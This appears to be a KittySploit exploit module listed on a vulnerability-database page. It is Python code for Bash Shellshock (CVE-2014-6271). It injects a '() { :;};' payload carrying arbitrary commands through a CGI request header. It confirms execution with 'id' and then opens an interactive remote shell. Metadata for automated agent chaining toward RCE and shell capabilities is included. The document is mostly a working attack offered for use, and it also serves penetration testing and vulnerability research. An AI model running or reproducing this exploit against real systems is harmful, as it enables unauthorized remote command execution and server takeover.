Bash Shellshock - HTTP CGI RCE (CVE-2014-6271)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Bash Shellshock HTTP CGI RCE (CVE-2014-6271) — opens execute session."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Bash Shellshock - HTTP CGI RCE (CVE-2014-6271)',
'description': (
'Exploits Shellshock via User-Agent injection against a CGI path. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2014-6271', 'CVE-2014-6278'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2014-6271'],
'tags': ['bash', 'shellshock', 'rce', 'unauth', 'kev', 'cve-2014-6271'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2014_6271_detect'],
},
},
}
cgi_path = OptString('/cgi-bin/status', 'CGI path vulnerable to Shellshock', required=True)
header_name = OptString('User-Agent', 'Header used for injection', required=False)
def execute(self, cmd: str) -> str:
payload = (
'() { :;}; echo Content-Type: text/plain; echo; echo; '
f'PATH=/usr/bin:/usr/local/bin:/bin; export PATH; {cmd};'
)
field = str(self.header_name or 'User-Agent')
path = str(self.cgi_path or '/cgi-bin/status')
if not path.startswith('/'):
path = '/' + path
r = self.http_request(
method='GET',
path=path,
headers={field: payload},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def handler_execute(self):
out = self.execute('id')
if not out or not re.search(r'uid=\d+', out):
print_error('Target does not appear vulnerable to Shellshock on cgi_path')
return False
print_success('Shellshock RCE confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
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10 Aug 2026 06:19Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
CVSS 210
EPSS0.99999
SSVC